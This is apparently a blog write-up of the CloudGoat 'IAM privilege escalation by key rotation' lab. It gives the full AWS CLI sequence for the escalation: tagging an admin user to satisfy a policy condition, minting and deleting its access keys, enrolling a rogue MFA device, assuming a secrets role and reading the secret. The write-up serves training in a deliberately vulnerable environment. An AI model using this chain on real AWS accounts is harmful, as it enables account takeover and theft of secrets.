CloudGoat: IAM Privilege Escalation by Key Rotation

6 minute read

In this scenario, you will start as a manager user and try to gain advantage from the compromised policies.

Let’s explore what the manager user can do

In this blog, I created AWS CLI profile name kerrigan_manager as the manager user

Manager user policies

List user policies

aws --profile kerrigan_manager iam list-user-policies --user-name <manager-username>

Result:

{
    "PolicyNames": [
        "SelfManageAccess",
        "TagResources"
    ]
}

See SelfManageAccess policy permission

aws --profile kerrigan_manager iam get-user-policy --user-name <manager-username> --policy-name SelfManageAccess

Result:

{
    "UserName": "manager_iam_privesc_by_key_rotation_###",
    "PolicyName": "SelfManageAccess",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::###:user/*",
                    "arn:aws:iam::###:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::###:mfa/*",
                "Sid": "CreateMFA"
            }
        ]
    }
}

From the result, the manager user can

  • deactivate, get, enable, and resync MFA device
  • delete, update, and create access key if that user has resource tag developer=true
  • delete and create virtual MFA Device

Manager user managed policies

List managed policies of the manager user

aws --profile kerrigan_manager iam list-attached-user-policies --user-name <manager-username>

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        }
    ]
}

To get IAMReadOnlyAccess policy permission, we need to know the policy version first.

aws --profile kerrigan_manager iam get-policy --policy-arn arn:aws:iam::aws:policy/IAMReadOnlyAccess

Result:

{
    "Policy": {
        "PolicyName": "IAMReadOnlyAccess",
        "Arn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess",
        "DefaultVersionId": "v4"
    }
}

The above result provided us a IAMReadOnlyAccess policy version, which is v4

Get IAMReadOnlyAccess policy permission

aws --profile kerrigan_manager iam get-policy-version --policy-arn arn:aws:iam::aws:policy/IAMReadOnlyAccess --version-id v4

Result:

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GenerateCredentialReport",
                        "iam:GenerateServiceLastAccessedDetails",
                        "iam:Get*",
                        "iam:List*",
                        "iam:SimulateCustomPolicy",
                        "iam:SimulatePrincipalPolicy"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
    }
}

This policy allowed the manager user

  • get and list iam components such as users, roles, and policies.

From the information that we got so far, we cannot do anything much with the manager user, so let’s explore more about other users.

Get all users in this AWS account

aws --profile kerrigan_manager iam list-users

Result:

{
    "Users": [
        {
            "Path": "/",
            "UserName": "admin_iam_privesc_by_key_rotation_###",
            "Arn": "arn:aws:iam::###:user/admin_iam_privesc_by_key_rotation_###"
        },
        {
            "Path": "/",
            "UserName": "cloudgoat",
            "Arn": "arn:aws:iam::###:user/cloudgoat"
        },
        {
            "Path": "/",
            "UserName": "developer_iam_privesc_by_key_rotation_###",
            "Arn": "arn:aws:iam::###:user/developer_iam_privesc_by_key_rotation_###"
        },
        {
            "Path": "/",
            "UserName": "manager_iam_privesc_by_key_rotation_###",
            "Arn": "arn:aws:iam::###:user/manager_iam_privesc_by_key_rotation_###"
        }
    ]
}

Now, we know that we also have admin and developer users. Let’s see what the admin user can do.

Get admin policies

aws --profile kerrigan_manager iam list-user-policies --user-name <admin-username>

Result:

{
    "PolicyNames": [
        "AssumeRoles"
    ]
}

See what AssumeRoles policy can do

aws --profile kerrigan_manager iam get-user-policy --user-name <admin-username> --policy-name AssumeRoles

Result:

{
    "UserName": "admin_iam_privesc_by_key_rotation_###",
    "PolicyName": "AssumeRoles",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::###:role/cg_secretsmanager_iam_privesc_by_key_rotation_###",
                "Sid": "AssumeRole"
            }
        ]
    }
}

From the result, the admin user can assumed the cg_secretsmanager_iam_privesc_by_key_rotation_### role

Get assumed role policies

List all managed role policies

aws --profile kerrigan_manager iam list-attached-role-policies --role-name cg_secretsmanager_iam_privesc_by_key_rotation_###

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_###",
            "PolicyArn": "arn:aws:iam::###:policy/cg_view_secrets_iam_privesc_by_key_rotation_###"
        }
    ]
}

Get cg_view_secrets_iam_privesc_by_key_rotation_### policy version

aws --profile kerrigan_manager iam get-policy --policy-arn arn:aws:iam::###:policy/cg_view_secrets_iam_privesc_by_key_rotation_###

Result:

{
    "Policy": {
        "PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_###",
        "Arn": "arn:aws:iam::###:policy/cg_view_secrets_iam_privesc_by_key_rotation_###",
        "DefaultVersionId": "v1"
    }
}

The cg_view_secrets_iam_privesc_by_key_rotation_### policy version is v1

Get cg_view_secrets_iam_privesc_by_key_rotation_### policy permission

aws --profile kerrigan_manager iam get-policy-version --policy-arn arn:aws:iam::###:policy/cg_view_secrets_iam_privesc_by_key_rotation_### --version-id v1

Result:

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "secretsmanager:ListSecrets",
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": "secretsmanager:GetSecretValue",
                    "Effect": "Allow",
                    "Resource": "arn:aws:secretsmanager:us-east-1:###:secret:cg_secret_iam_privesc_by_key_rotation_###-37ZBQ3"
                }
            ]
        }
    }
}

From all the information that we got, the admin user is able to assume the cg_secretsmanager_iam_privesc_by_key_rotation_### role which has a permission to get the secret!

We do not have an access key id and secret access key for the admin user. What should we do?

We knew that the manager has a permission to create an access key, so we will use this permission to create the access key for the admin user.

Create an access key

When you try to create an access key with

aws --profile kerrigan_manager iam create-access-key --user-name <admin-username>

You will get an error like this

An error occurred (AccessDenied) when calling the CreateAccessKey operation: User: arn:aws:iam::###:user/manager_iam_privesc_by_key_rotation_### is not authorized to perform: iam:CreateAccessKey on resource: user admin_iam_privesc_by_key_rotation_### because no identity-based policy allows the iam:CreateAccessKey action

This is because the admin user does not have resource tag developer=true (refer back to the SelfManageAccess policy)

So we will add the resource tag for the admin user first

aws --profile kerrigan_manager iam tag-user --user-name <admin-username> --tags Key=developer,Value=true

And then

aws --profile kerrigan_manager iam create-access-key --user-name <admin-username>

You will get AccessKeyId and ScretAccessKey. Now, you can create the admin profile from this access key.

If you don’t know how see here

If you have an error

An error occurred (LimitExceeded) when calling the CreateAccessKey operation: Cannot exceed quota for AccessKeysPerUser: 2

This means the admin user already has 2 access keys, so you cannot create more access key for it.

Here is the solution

First, list all the access keys that the admin user has

aws --profile kerrigan_manager iam list-access-keys --user-name <admin-user>

Result:

{
    "AccessKeyMetadata": [
        {
            "UserName": "admin_iam_privesc_by_key_rotation_###",
            "AccessKeyId": "<AccessKeyId>",
            "Status": "Inactive",
            "CreateDate": "2024-03-12T05:27:04+00:00"
        },
        {
            "UserName": "admin_iam_privesc_by_key_rotation_###",
            "AccessKeyId": "<AccessKeyId>",
            "Status": "Inactive",
            "CreateDate": "2024-03-12T05:27:05+00:00"
        }
    ]
}

Choose one access key id from the result and delete it

aws --profile kerrigan_manager iam delete-access-key --user-name <admin-username> --access-key-id <access-key-id>

Now you can create a new access key for the admin user.

Assume target role

I use the cli profile name kerrigan-admin as the admin profile in this blog.

Assume cg_secretsmanager_iam_privesc_by_key_rotation_### role

aws --profile kerrigan_admin sts assume-role --role-arn arn:aws:iam::###:role/cg_secretsmanager_iam_privesc_by_key_rotation_### --role-session-name <whatever-you-want>

You will get an error

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::###:user/admin_iam_privesc_by_key_rotation_### is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::###:role/cg_secretsmanager_iam_privesc_by_key_rotation_###

There are some reasons that we cannot assume role.

  1. The user does not the permission to assume the role
  2. The user did not meet the condition.

We knew that the admin user have permission to assume role, so only one reason left is the admin user did not meet some conditions.

Let’s explore more about this role.

aws --profile kerrigan_admin iam get-role --role-name cg_secretsmanager_iam_privesc_by_key_rotation_###

We can read any IAM components with the admin user because the admin user has managed policy IAMReadOnlyAccess. You can check the permission like we do with the manager user.

Result:

{
    "Role": {
        "RoleName": "cg_secretsmanager_iam_privesc_by_key_rotation_###",
        "Arn": "arn:aws:iam::###:role/cg_secretsmanager_iam_privesc_by_key_rotation_###",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::###:root"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "Bool": {
                            "aws:MultiFactorAuthPresent": "true"
                        }
                    }
                }
            ]
        }
    }
}

From the result, it tells us that the user who wants to assume this role should turn on Multi Factor Authentication (MFA).

Turn on MFA

To turn on MFA, we need to use the manager user since the manager user has a permission to create MFA.

To enable MFA device, we need to create virtual MFA device first.

aws --profile kerrigan_manager iam create-virtual-mfa-device --virtual-mfa-device-name <whatever-name> --outfile <whatever-file-name>.png --bootstrap-method QRCodePNG

Result:

{
    "VirtualMFADevice": {
        "SerialNumber": "arn:aws:iam::###:mfa/<device-name>"
    }
}

Open the png file, and scan the qrcode with your virtual authencicator apps. If you do not have one, you can should from the virtual authenticator apps here.

Now, we will enable MFA device.

aws --profile kerrigan_manager iam enable-mfa-device --user-name <admin-username> --serial-number arn:aws:iam::###:mfa/<device-name> --authentication-code1 <code1> --authentication-code2 <code2>

To check that our MFA device is enabled with the admin user

aws --profile kerrigan_manager iam list-virtual-mfa-devices

Result:

{
    "VirtualMFADevices": [
        {
            "SerialNumber": "arn:aws:iam::###:mfa/<device-name>",
            "User": {
                "UserName": "admin_iam_privesc_by_key_rotation_###",
                "Arn": "arn:aws:iam::###:user/admin_iam_privesc_by_key_rotation_###",
                "CreateDate": "2024-03-12T05:27:03+00:00"
            },
            "EnableDate": "2024-03-13T11:05:40+00:00"
        }
    ]
}

Assume target role, second try

Because the admin user turns on MFA, we need to add serial number and token code from authentication app for assuming the role

aws --profile kerrigan_admin sts assume-role --role-arn arn:aws:iam::###:role/cg_secretsmanager_iam_privesc_by_key_rotation_### --role-session-name <whatever-you-want> --serial-number arn:aws:iam::###:mfa/<device-name> --token-code <otp>

Result:

{
    "Credentials": {
        "AccessKeyId": "<access-key-id>",
        "SecretAccessKey": "<secret-access-key>",
        "SessionToken": "<session-token>",
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::###:assumed-role/cg_secretsmanager_iam_privesc_by_key_rotation_###/<session-name>"
    }
}

Create the profile from the credentials. I use profile name kerrigan-get-secret in this blog.

Get secret!

You can list all the secrets

aws --profile kerrigan-get-secret secretsmanager list-secrets

Result:

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:###:secret:cg_secret_iam_privesc_by_key_rotation_###-37ZBQ3",
            "Name": "cg_secret_iam_privesc_by_key_rotation_###",
        }
    ]
}

Get the secret!

aws --profile kerrigan-get-secret secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:###:secret:cg_secret_iam_privesc_by_key_rotation_###-37ZBQ3

Result:

{
    "ARN": "arn:aws:secretsmanager:us-east-1:###:secret:cg_secret_iam_privesc_by_key_rotation_###-37ZBQ3",
    "Name": "cg_secret_iam_privesc_by_key_rotation_###",
    "SecretString": "<secret-value>",
    "CreatedDate": "2024-03-12T16:27:04.660000+11:00"
}

Thank you for reading, hope you enjoy your hacking!